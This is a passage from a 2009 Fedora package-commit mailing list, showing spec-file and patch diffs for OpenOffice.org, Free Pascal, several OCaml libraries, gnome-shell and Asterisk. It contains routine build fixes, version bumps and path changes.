     if ( rMissingCodes.getLength() )
@@ -928,11 +1061,16 @@
            // also handle unicode surrogates
            const sal_uInt32 nCode = rMissingCodes.iterateCodePoints( &nStrIndex );
            rWrapper.FcCharSetAddChar( unicodes, nCode );
+           if (!pLangAttribUtf8)
+               pLangAttribUtf8 = (const FcChar8*)pick_sample_language(nCode);
        }
        rWrapper.FcPatternAddCharSet( pPattern, FC_CHARSET, unicodes);
        rWrapper.FcCharSetDestroy( unicodes );
     }
 
+    if( pLangAttribUtf8 )
+        rWrapper.FcPatternAddString( pPattern, FC_LANG, pLangAttribUtf8 );
+
     addtopattern(rWrapper, pPattern, rItalic, rWeight, rWidth, rPitch);
 
     // query fontconfig for a substitute
diff -ru psprint.orig/util/makefile.mk psprint/util/makefile.mk
--- psprint.orig/util/makefile.mk	2009-10-08 13:25:00.000000000 +0100
+++ psprint/util/makefile.mk	2009-10-08 13:25:09.000000000 +0100
@@ -67,6 +67,7 @@
 
 SHL1STDLIBS=$(UNOTOOLSLIB)		\
 			$(I18NISOLANGLIB) 	\
+			$(I18NUTILLIB)		\
 			$(I18NPAPERLIB) 	\
 			$(TOOLSLIB) 		\
             $(COMPHELPERLIB)    \


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2017
retrieving revision 1.2018
diff -u -p -r1.2017 -r1.2018
--- openoffice.org.spec	6 Oct 2009 14:48:52 -0000	1.2017
+++ openoffice.org.spec	8 Oct 2009 12:56:43 -0000	1.2018
@@ -162,6 +162,7 @@ Patch85: openoffice.org-3.1.1.oooXXXXXX.
 Patch86: workspace.aw073.patch
 Patch87: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
 Patch88: workspace.vcl106.patch
+Patch89: openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1710,6 +1711,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch86 -p0 -b .workspace.aw073.patch
 %patch87 -p0 -b .ooo92671.vcl.coverageformat2.patch
 %patch88 -p0 -b .workspace.vcl106.patch
+%patch89 -p0 -b .oooXXXXXX.vcl.sniffscriptforsubs.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4243,10 +4245,12 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
+* Thu Oct 08 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
   into accepted workspace (caolanm)
-- Resolves: rhbz#527177 add workspace.vcl106.patch
+- Resolves: rhbz#527177 add workspace.vcl106.patch (caolanm)
+- Resolves: rhbz#527719 add 
+  openoffice.org-3.1.1.oooXXXXXX.vcl.sniffscriptforsubs.patch (caolanm)
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)



From rjones at fedoraproject.org  Thu Oct  8 12:58:38 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 12:58:38 +0000 (UTC)
Subject: rpms/ocaml-mikmatch/devel ocaml-mikmatch-1.0.0-dynlink.patch, 1.1, 
	NONE
Message-ID: <20091008125838.2EF1B11C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-mikmatch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9146

Removed Files:
	ocaml-mikmatch-1.0.0-dynlink.patch 
Log Message:
Remove dynlink patch from CVS.


--- ocaml-mikmatch-1.0.0-dynlink.patch DELETED ---



From joost at fedoraproject.org  Thu Oct  8 13:06:19 2009
From: joost at fedoraproject.org (Joost van der Sluis)
Date: Thu,  8 Oct 2009 13:06:19 +0000 (UTC)
Subject: rpms/fpc/F-12 fpc-2.2.4-r12475.patch,NONE,1.1 fpc.spec,1.35,1.36
Message-ID: <20091008130619.5E36711C00DB@cvs1.fedora.phx.redhat.com>

Author: joost

Update of /cvs/pkgs/rpms/fpc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10753

Modified Files:
	fpc.spec 
Added Files:
	fpc-2.2.4-r12475.patch 
Log Message:
* Tue Oct 6 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
- fixed procvar parameter passing on ppc/sysv (by value instead of by
  reference -- except for method procvars, for tmethod record compatibility) 


fpc-2.2.4-r12475.patch:
 cpupara.pas |   25 +++++++++++++++++++++++--
 1 file changed, 23 insertions(+), 2 deletions(-)

--- NEW FILE fpc-2.2.4-r12475.patch ---
Index: fpcsrc/compiler/powerpc/cpupara.pas
===================================================================
--- fpcsrc/compiler/powerpc/cpupara.pas	(revision 12474)
+++ fpcsrc/compiler/powerpc/cpupara.pas	(revision 12475)
@@ -130,7 +130,12 @@
               result:=LOC_REGISTER;
             classrefdef:
               result:=LOC_REGISTER;
-            procvardef,
+            procvardef:
+              if (target_info.abi = abi_powerpc_aix) or
+                 (p.size = sizeof(pint)) then
+                result:=LOC_REGISTER
+              else
+                result:=LOC_REFERENCE;
             recorddef:
               if (target_info.abi<>abi_powerpc_aix) or
                  ((p.size >= 3) and
@@ -181,8 +186,24 @@
           variantdef,
           formaldef :
             result:=true;
-          recorddef,
+          { regular procvars must be passed by value, because you cannot pass
+            the address of a local stack location when calling e.g.
+            pthread_create with the address of a function (first of all it
+            expects the address of the function to execute and not the address
+            of a memory location containing that address, and secondly if you
+            first store the address on the stack and then pass the address of
+            this stack location, then this stack location may no longer be
+            valid when the newly started thread accesses it.
+
+            However, for "procedure of object" we must use the same calling
+            convention as for "8 byte record" due to the need for
+            interchangeability with the TMethod record type.
+          }
           procvardef :
+            result:=
+              (target_info.abi <> abi_powerpc_aix) and
+              (def.size <> sizeof(pint));
+          recorddef :
             result :=
               (target_info.abi<>abi_powerpc_aix) or
               ((varspez = vs_const) and


Index: fpc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fpc/F-12/fpc.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- fpc.spec	24 Jul 2009 23:04:15 -0000	1.35
+++ fpc.spec	8 Oct 2009 13:06:19 -0000	1.36
@@ -1,6 +1,6 @@
 Name:           fpc
 Version:        2.2.4
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        Free Pascal Compiler
 
 Group:          Development/Languages
@@ -14,6 +14,7 @@ Source0:        ftp://ftp.freepascal.org
 Patch0:         %{name}-%{version}-samplecfg_32and64bit.patch
 Patch1:         %{name}-%{version}-build-id.patch
 Patch2:         %{name}-%{version}-stackexecute.patch
+Patch3:         %{name}-%{version}-r12475.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:       gpm, glibc, ncurses, binutils
@@ -53,18 +54,16 @@ automatical-code generation purposes.
 
 %define smart _smart 
 
+%define fpcdebugopt -gl
 %ifarch ppc
 %define ppcname ppcppc
-%define fpcdebugopt -gl
 %else
 %ifarch x86_64
 %define ppcname ppcx64
 %else
 %ifarch ppc64
-%define ppcname ppcppc64
 %else
 %define ppcname ppc386
-%define fpcdebugopt -gl
 %endif
 %endif
 %endif
@@ -78,6 +77,7 @@ automatical-code generation purposes.
 %patch0
 %patch1
 %patch2
+%patch3
 
 %build
 # The source-files:
@@ -177,6 +177,10 @@ rm -rf %{buildroot}
 %{_datadir}/fpcsrc
 
 %changelog
+* Tue Oct 6 2009 Joost van der Sluis <joost at cnoc.nl> 2.2.4-4
+- fixed procvar parameter passing on ppc/sysv (by value instead of by
+  reference -- except for method procvars, for tmethod record compatibility) 
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rjones at fedoraproject.org  Thu Oct  8 13:07:40 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 13:07:40 +0000 (UTC)
Subject: rpms/ocaml-ocamlgraph/devel ocamlgraph-1.3-no-viewGraph_test.patch, 
	NONE, 1.1 .cvsignore, 1.4, 1.5 ocaml-ocamlgraph.spec, 1.9,
	1.10 sources, 1.4, 1.5
Message-ID: <20091008130740.9C49811C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-ocamlgraph/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11138

Modified Files:
	.cvsignore ocaml-ocamlgraph.spec sources 
Added Files:
	ocamlgraph-1.3-no-viewGraph_test.patch 
Log Message:
* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1.3-1
- New upstream release 1.3.
- A slightly different viewGraph-related patch is required for this release.


ocamlgraph-1.3-no-viewGraph_test.patch:
 Makefile.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE ocamlgraph-1.3-no-viewGraph_test.patch ---
--- ocamlgraph-1.3.orig/Makefile.in	2009-10-02 12:48:39.000000000 +0100
+++ ocamlgraph-1.3.no-vg/Makefile.in	2009-10-08 14:02:34.396309817 +0100
@@ -144,7 +144,7 @@
 
 viewer: $(VIEWER_DIR)/viewgraph.byte $(VIEWER_DIR)/viewgraph.$(OCAMLBEST)
 
-VIEWER_CMO=viewGraph_core viewGraph_select viewGraph_utils viewGraph_test
+VIEWER_CMO=viewGraph_core viewGraph_select viewGraph_utils
 VIEWER_CMO:=$(patsubst %,$(VIEWER_DIR)/%.cmo, $(VIEWER_CMO))
 VIEWER_CMX=$(VIEWER_CMO:.cmo=.cmx)
 VIEWER_CMI=$(VIEWER_CMO:.cmo=.cmi)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-ocamlgraph/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	8 Aug 2009 02:52:25 -0000	1.4
+++ .cvsignore	8 Oct 2009 13:07:40 -0000	1.5
@@ -1 +1 @@
-ocamlgraph-1.1.tar.gz
+ocamlgraph-1.3.tar.gz


Index: ocaml-ocamlgraph.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-ocamlgraph/devel/ocaml-ocamlgraph.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- ocaml-ocamlgraph.spec	8 Aug 2009 02:52:26 -0000	1.9
+++ ocaml-ocamlgraph.spec	8 Oct 2009 13:07:40 -0000	1.10
@@ -18,7 +18,7 @@
 %define __find_provides /usr/lib/rpm/ocaml-find-provides.sh
 
 Name:           ocaml-ocamlgraph
-Version:        1.1
+Version:        1.3
 Release:        1%{?dist}
 Summary:        OCaml library for arc and node graphs
 
@@ -30,6 +30,7 @@ Source0:        http://ocamlgraph.lri.fr
 Source1:        ocamlgraph-test.result
 
 Patch0:         ocamlgraph-1.1-no-view-graph-doc.patch
+Patch1:         ocamlgraph-1.3-no-viewGraph_test.patch
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 ExcludeArch:    sparc64 s390 s390x
@@ -65,6 +66,7 @@ developing applications that use %{name}
 %setup -q -n ocamlgraph-%{version}
 
 %patch0 -p1
+%patch1 -p1
 
 cp %{SOURCE1} .
 
@@ -77,6 +79,7 @@ cp %{SOURCE1} .
 %else
 %define opt_option OCAMLBEST=byte OCAMLC=ocamlc
 %endif
+make depend
 make %{opt_option}
 make doc
 
@@ -131,6 +134,10 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 1.3-1
+- New upstream release 1.3.
+- A slightly different viewGraph-related patch is required for this release.
+
 * Fri Aug 07 2009 Alan Dunn <amdunn at gmail.com> - 1.1-1
 - New upstream release 1.1.
 - Makefile patch updated (still not incorporated upstream).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-ocamlgraph/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	8 Aug 2009 02:52:26 -0000	1.4
+++ sources	8 Oct 2009 13:07:40 -0000	1.5
@@ -1 +1 @@
-62cf4b0c273db2af1dbf4f8fac957bfc  ocamlgraph-1.1.tar.gz
+9bcff267d041d3caec5f4f8c514f9cc1  ocamlgraph-1.3.tar.gz



From otaylor at fedoraproject.org  Thu Oct  8 13:08:29 2009
From: otaylor at fedoraproject.org (Owen Taylor)
Date: Thu,  8 Oct 2009 13:08:29 +0000 (UTC)
Subject: rpms/gnome-shell/F-12 gnome-shell.spec,1.9,1.10
Message-ID: <20091008130829.331E811C00DB@cvs1.fedora.phx.redhat.com>

Author: otaylor

Update of /cvs/extras/rpms/gnome-shell/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11382

Modified Files:
	gnome-shell.spec 
Log Message:
Add missing dist tag to Release:


Index: gnome-shell.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-shell/F-12/gnome-shell.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- gnome-shell.spec	8 Oct 2009 01:28:03 -0000	1.9
+++ gnome-shell.spec	8 Oct 2009 13:08:29 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           gnome-shell
 Version:        2.28.0
-Release:        1
+Release:        3%{?dist}
 Summary:        Window management and application launching for GNOME
 
 Group:          User Interface/Desktops



From rjones at fedoraproject.org  Thu Oct  8 13:18:46 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Thu,  8 Oct 2009 13:18:46 +0000 (UTC)
Subject: rpms/ocaml-pa-do/devel .cvsignore, 1.3, 1.4 ocaml-pa-do.spec, 1.12, 
	1.13 sources, 1.3, 1.4
Message-ID: <20091008131847.0530311C00DB@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-pa-do/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13905

Modified Files:
	.cvsignore ocaml-pa-do.spec sources 
Log Message:
Version 0.8.10.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pa-do/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	23 May 2009 11:19:57 -0000	1.3
+++ .cvsignore	8 Oct 2009 13:18:46 -0000	1.4
@@ -1 +1 @@
-pa_do-0.8.9.tar.gz
+pa_do-0.8.10.tar.gz


Index: ocaml-pa-do.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pa-do/devel/ocaml-pa-do.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ocaml-pa-do.spec	6 Aug 2009 16:20:49 -0000	1.12
+++ ocaml-pa-do.spec	8 Oct 2009 13:18:46 -0000	1.13
@@ -2,15 +2,15 @@
 %define debug_package %{nil}
 
 Name:           ocaml-pa-do
-Version:        0.8.9
-Release:        7%{?dist}
+Version:        0.8.10
+Release:        1%{?dist}
 Summary:        OCaml syntax extension for delimited overloading
 
 Group:          Development/Libraries
 License:        LGPLv2+ with exceptions
 
 URL:            http://forge.ocamlcore.org/projects/pa-do/
-Source0:        http://forge.ocamlcore.org/frs/download.php/218/pa_do-%{version}.tar.gz
+Source0:        http://forge.ocamlcore.org/frs/download.php/273/pa_do-%{version}.tar.gz
 
 Patch0:         ocaml-pa-do-0.8.9-pdfpagelabels-off.patch
 
@@ -105,6 +105,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  8 2009 Richard W.M. Jones <rjones at redhat.com> - 0.8.10-1
+- New upstream version 0.8.10.
+
 * Thu Aug  6 2009 Richard W.M. Jones <rjones at redhat.com> - 0.8.9-7
 - Force rebuild again to test FTBFS issue.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-pa-do/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	23 May 2009 11:19:57 -0000	1.3
+++ sources	8 Oct 2009 13:18:46 -0000	1.4
@@ -1 +1 @@
-4c166d185fb0bfa072c6cead9239db97  pa_do-0.8.9.tar.gz
+4ad01c6814e3d11b40c1b4de0f92b609  pa_do-0.8.10.tar.gz



From jcollie at fedoraproject.org  Thu Oct  8 13:23:57 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Thu,  8 Oct 2009 13:23:57 +0000 (UTC)
Subject: rpms/asterisk/F-12 .cvsignore, 1.22,
	1.23 0005-Build-using-external-libedit.patch, 1.6,
	1.7 0011-Fix-up-some-paths.patch, 1.1, 1.2 asterisk.spec, 1.56,
	1.57 sources, 1.22,
	1.23 0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch, 
	1.5, NONE
Message-ID: <20091008132357.7F61C11C00DB@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/asterisk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15782

Modified Files:
	.cvsignore 0005-Build-using-external-libedit.patch 
	0011-Fix-up-some-paths.patch asterisk.spec sources 
Removed Files:
	0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch 
Log Message:
* Thu Oct  8 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.6.1.7-0.1.rc2
- Update to 1.6.1.7-rc2
- Merge firmware subpackage back into main package
- No longer need to strip tarball since it no longer contains any non-free items
- Tighten up permissions/ownership of config files.
- Fix up some more paths
- Drop unneeded patch



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	7 Sep 2009 05:43:12 -0000	1.22
+++ .cvsignore	8 Oct 2009 13:23:56 -0000	1.23
@@ -1,3 +1,3 @@
-asterisk-1.6.1.6-stripped.tar.gz
-asterisk-1.6.1.6.tar.gz.asc
 asterisk-developer-pubring.gpg
+asterisk-1.6.1.7-rc2.tar.gz
+asterisk-1.6.1.7-rc2.tar.gz.asc

0005-Build-using-external-libedit.patch:
 build_tools/menuselect-deps.in |    1 +
 configure.ac                   |   22 ++++++++++++++++++++++
 main/Makefile                  |    8 +++++---
 main/cli.c                     |    3 ++-
 makeopts.in                    |    4 ++++
 5 files changed, 34 insertions(+), 4 deletions(-)

Index: 0005-Build-using-external-libedit.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/0005-Build-using-external-libedit.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- 0005-Build-using-external-libedit.patch	7 Sep 2009 05:43:12 -0000	1.6
+++ 0005-Build-using-external-libedit.patch	8 Oct 2009 13:23:57 -0000	1.7
@@ -1,6 +1,6 @@
 Index: build_tools/menuselect-deps.in
 ===================================================================
---- build_tools/menuselect-deps.in	(revision 216642)
+--- build_tools/menuselect-deps.in	(revision 222649)
 +++ build_tools/menuselect-deps.in	(working copy)
 @@ -17,6 +17,7 @@
  IXJUSER=@PBX_IXJUSER@
@@ -12,9 +12,9 @@ Index: build_tools/menuselect-deps.in
  MISDN=@PBX_MISDN@
 Index: configure.ac
 ===================================================================
---- configure.ac	(revision 216642)
+--- configure.ac	(revision 222649)
 +++ configure.ac	(working copy)
-@@ -232,6 +232,7 @@
+@@ -244,6 +244,7 @@
  AST_EXT_LIB_SETUP([ISDNNET], [ISDN4Linux Library], [isdnnet])
  AST_EXT_LIB_SETUP([JACK], [Jack Audio Connection Kit], [jack])
  AST_EXT_LIB_SETUP([LDAP], [OpenLDAP], [ldap])
@@ -22,7 +22,7 @@ Index: configure.ac
  AST_EXT_LIB_SETUP([LTDL], [libtool], [ltdl])
  AST_EXT_LIB_SETUP([LUA], [Lua], [lua])
  AST_EXT_LIB_SETUP([MISDN], [mISDN User Library], [misdn])
-@@ -1621,6 +1622,27 @@
+@@ -1605,6 +1606,27 @@
  AC_SUBST(GTK2_INCLUDE)
  AC_SUBST(GTK2_LIB)
  
@@ -47,12 +47,12 @@ Index: configure.ac
 +AC_SUBST(LIBEDIT_LIB)
 +AC_SUBST(LIBEDIT_OBJ)
 +
- if test "${USE_CURL}" != "no"; then
-    AC_PATH_TOOL([CURL_CONFIG], [curl-config], No)
-    if test ! x"${CURL_CONFIG}" = xNo; then
+ AST_LIBCURL_CHECK_CONFIG([], [7.10.1])
+ 
+ AC_CONFIG_FILES([build_tools/menuselect-deps makeopts channels/h323/Makefile])
 Index: main/Makefile
 ===================================================================
---- main/Makefile	(revision 216642)
+--- main/Makefile	(revision 222649)
 +++ main/Makefile	(working copy)
 @@ -129,6 +129,8 @@
  	$(CC) -g -o testexpr2 ast_expr2f.o ast_expr2.o -lm
@@ -82,7 +82,7 @@ Index: main/Makefile
  
 Index: main/cli.c
 ===================================================================
---- main/cli.c	(revision 216642)
+--- main/cli.c	(revision 222649)
 +++ main/cli.c	(working copy)
 @@ -34,6 +34,8 @@
  #include <ctype.h>
@@ -103,9 +103,9 @@ Index: main/cli.c
  /*!
 Index: makeopts.in
 ===================================================================
---- makeopts.in	(revision 216642)
+--- makeopts.in	(revision 222649)
 +++ makeopts.in	(working copy)
-@@ -246,3 +246,7 @@
+@@ -249,3 +249,7 @@
  
  # if poll is not present, let the makefile know.
  POLL_AVAILABLE=@HAS_POLL@

0011-Fix-up-some-paths.patch:
 UPGRADE-1.4.txt                             |    2 +-
 agi/DialAnMp3.agi                           |    2 +-
 agi/jukebox.agi                             |    2 +-
 agi/numeralize                              |    2 +-
 apps/app_rpt.c                              |    2 +-
 configs/festival.conf.sample                |    2 +-
 configs/http.conf.sample                    |    6 +++---
 configs/iax.conf.sample                     |    4 ++--
 configs/musiconhold.conf.sample             |   10 +++++-----
 configs/osp.conf.sample                     |    4 ++--
 configs/phoneprov.conf.sample               |    2 +-
 configs/res_config_sqlite.conf              |    2 +-
 contrib/scripts/astgenkey                   |    2 +-
 contrib/scripts/astgenkey.8                 |    6 +++---
 contrib/utils/README.rawplayer              |    4 ++--
 doc/osp.txt                                 |    8 ++++----
 doc/tex/ael.tex                             |    2 +-
 doc/tex/asterisk-conf.tex                   |    4 ++--
 doc/tex/phoneprov.tex                       |    2 +-
 doc/tex/privacy.tex                         |    6 +++---
 pbx/ael/ael-test/ael-test3/extensions.ael   |   28 ++++++++++++++--------------
 pbx/ael/ael-test/ael-vtest13/extensions.ael |   28 ++++++++++++++--------------
 pbx/ael/ael-test/ref.ael-vtest13            |   26 +++++++++++++-------------
 utils/ael_main.c                            |    2 +-
 24 files changed, 79 insertions(+), 79 deletions(-)

Index: 0011-Fix-up-some-paths.patch
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-12/0011-Fix-up-some-paths.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0011-Fix-up-some-paths.patch	9 Feb 2009 05:54:21 -0000	1.1
+++ 0011-Fix-up-some-paths.patch	8 Oct 2009 13:23:57 -0000	1.2
@@ -1,279 +1,223 @@
-From 2f393dd3178974151a4b69a56bb1523546ff1b10 Mon Sep 17 00:00:00 2001
-From: Jeffrey C. Ollie <jeff at ocjtech.us>
-Date: Sun, 4 Jan 2009 12:51:05 -0600
-Subject: [PATCH 11/15] Fix up some paths.
-
----
- UPGRADE-1.4.txt                             |    2 +-
- configs/festival.conf.sample                |    2 +-
- configs/http.conf.sample                    |    6 ++--
- configs/iax.conf.sample                     |    4 +-
- configs/musiconhold.conf.sample             |   10 ++++----
- configs/osp.conf.sample                     |    4 +-
- configs/phoneprov.conf.sample               |    2 +-
- contrib/scripts/astgenkey                   |    2 +-
- contrib/scripts/astgenkey.8                 |    6 ++--
- doc/osp.txt                                 |    8 +++---
- doc/tex/phoneprov.tex                       |    2 +-
- doc/tex/privacy.tex                         |    6 ++--
- pbx/ael/ael-test/ael-test3/extensions.ael   |   28 +++++++++++++-------------
- pbx/ael/ael-test/ael-vtest13/extensions.ael |   28 +++++++++++++-------------
- pbx/ael/ael-test/ref.ael-vtest13            |   26 ++++++++++++------------
- 15 files changed, 68 insertions(+), 68 deletions(-)
-
-diff --git a/UPGRADE-1.4.txt b/UPGRADE-1.4.txt
-index 4f82694..69bf322 100644
---- a/UPGRADE-1.4.txt
-+++ b/UPGRADE-1.4.txt
-@@ -92,7 +92,7 @@ sound packages in the 'sounds' subdirectory to be used later during installation
- WARNING: Asterisk 1.4 supports a new layout for sound files in multiple languages;
- instead of the alternate-language files being stored in subdirectories underneath
- the existing files (for French, that would be digits/fr, letters/fr, phonetic/fr,
--etc.) the new layout creates one directory under /var/lib/asterisk/sounds for the
-+etc.) the new layout creates one directory under /usr/share/asterisk/sounds for the
- language itself, then places all the sound files for that language under that
- directory and its subdirectories. This is the layout that will be created if you
- select non-English languages to be installed via menuselect, HOWEVER Asterisk does
-diff --git a/configs/festival.conf.sample b/configs/festival.conf.sample
-index 774f1a1..815f11d 100644
---- a/configs/festival.conf.sample
-+++ b/configs/festival.conf.sample
-@@ -21,7 +21,7 @@
- ; THIS DIRECTORY *MUST* EXIST and must be writable from the asterisk process.
- ; Defaults to /tmp/
- ;
--;cachedir=/var/lib/asterisk/festivalcache/
-+;cachedir=/var/spool/asterisk/festival/
- ;
- ; Festival command to send to the server.
- ; Defaults to: (tts_textasterisk "%s" 'file)(quit)\n
-diff --git a/configs/http.conf.sample b/configs/http.conf.sample
-index f15c9cf..6349905 100644
---- a/configs/http.conf.sample
-+++ b/configs/http.conf.sample
-@@ -5,7 +5,7 @@
- ; Note about Asterisk documentation:
- ;   If Asterisk was installed from a tarball, then the HTML documentation should
- ;   be installed in the static-http/docs directory which is
--;   (/var/lib/asterisk/static-http/docs) on linux by default.  If the Asterisk
-+;   (/usr/share/asterisk/static-http/docs) on linux by default.  If the Asterisk
- ;   HTTP server is enabled in this file by setting the "enabled", "bindaddr",
- ;   and "bindport" options, then you should be able to view the documentation
- ;   remotely by browsing to:
-@@ -66,6 +66,6 @@ bindaddr=127.0.0.1
- ;[post_mappings]
- ;
- ; In this example, if the prefix option is set to "asterisk", then using the
--; POST URL: /asterisk/uploads will put files in /var/lib/asterisk/uploads/.
--;uploads = /var/lib/asterisk/uploads/
-+; POST URL: /asterisk/uploads will put files in /var/spool/asterisk/uploads/.
-+;uploads = /var/spool/asterisk/uploads/
- ;
-diff --git a/configs/iax.conf.sample b/configs/iax.conf.sample
-index dc3c465..69de2b4 100644
---- a/configs/iax.conf.sample
-+++ b/configs/iax.conf.sample
-@@ -361,8 +361,8 @@ inkeys=freeworlddialup
- ; authentication is used, "inkeys" is a list of acceptable public keys on the 
- ; local system that can be used to authenticate the remote peer, separated by
- ; the ":" character.  "outkey" is a single, private key to use to authenticate
--; to the other side.  Public keys are named /var/lib/asterisk/keys/<name>.pub
--; while private keys are named /var/lib/asterisk/keys/<name>.key.  Private
-+; to the other side.  Public keys are named /usr/share/asterisk/keys/<name>.pub
-+; while private keys are named /usr/share/asterisk/keys/<name>.key.  Private
- ; keys should always be 3DES encrypted.
- ;
- ;
-diff --git a/configs/musiconhold.conf.sample b/configs/musiconhold.conf.sample
-index 4df1afd..b730335 100644
---- a/configs/musiconhold.conf.sample
-+++ b/configs/musiconhold.conf.sample
-@@ -39,11 +39,11 @@
- 
- [default]
- mode=files
--directory=/var/lib/asterisk/moh
-+directory=/usr/share/asterisk/moh
- ;
- ;[native-random]
- ;mode=files
--;directory=/var/lib/asterisk/moh
-+;directory=/usr/share/asterisk/moh
- ;digit=#        ; If this option is set for a class, then when callers are
- ;               ; listening to music on hold, they can press this digit, and
- ;               ; they will switch to listening to this music class.
-@@ -51,7 +51,7 @@ directory=/var/lib/asterisk/moh
- 
- ;[native-alphabetical]
- ;mode=files
--;directory=/var/lib/asterisk/moh
-+;directory=/usr/share/asterisk/moh
- ;sort=alpha     ; Sort the files in alphabetical order.  If this option is
- ;               ; not specified, the sort order is undefined.
- 
-@@ -63,7 +63,7 @@ directory=/var/lib/asterisk/moh
- ;mode=custom
- ; Note that with mode=custom, a directory is not required, such as when reading
- ; from a stream.
--;directory=/var/lib/asterisk/mohmp3
-+;directory=/usr/share/asterisk/mohmp3
- ;application=/usr/bin/mpg123 -q -r 8000 -f 8192 -b 2048 --mono -s
- 
- ;[ulawstream]
-@@ -75,5 +75,5 @@ directory=/var/lib/asterisk/moh
- ; choice
- ;[solaris]
- ;mode=custom
--;directory=/var/lib/asterisk/mohmp3
-+;directory=/usr/share/asterisk/mohmp3
- ;application=/site/sw/bin/madplay -Q -o raw:- --mono -R 8000 -a -12
-diff --git a/configs/osp.conf.sample b/configs/osp.conf.sample
-index e342337..2e346e6 100644
---- a/configs/osp.conf.sample
-+++ b/configs/osp.conf.sample
-@@ -36,8 +36,8 @@
- ;source=domain name or [IP address in brackets]
- ;
- ; Define path and file name of crypto files.
--; The default path for crypto file is /var/lib/asterisk/keys.  If no path is 
--; defined, crypto files will in /var/lib/asterisk/keys directory.
-+; The default path for crypto file is /usr/share/asterisk/keys.  If no path is 
-+; defined, crypto files will in /usr/share/asterisk/keys directory.
- ;
- ; Specify the private key file name.  
- ; If this parameter is unspecified or not present, the default name will be the 
-diff --git a/configs/phoneprov.conf.sample b/configs/phoneprov.conf.sample
-index 8f55fa8..2608914 100644
---- a/configs/phoneprov.conf.sample
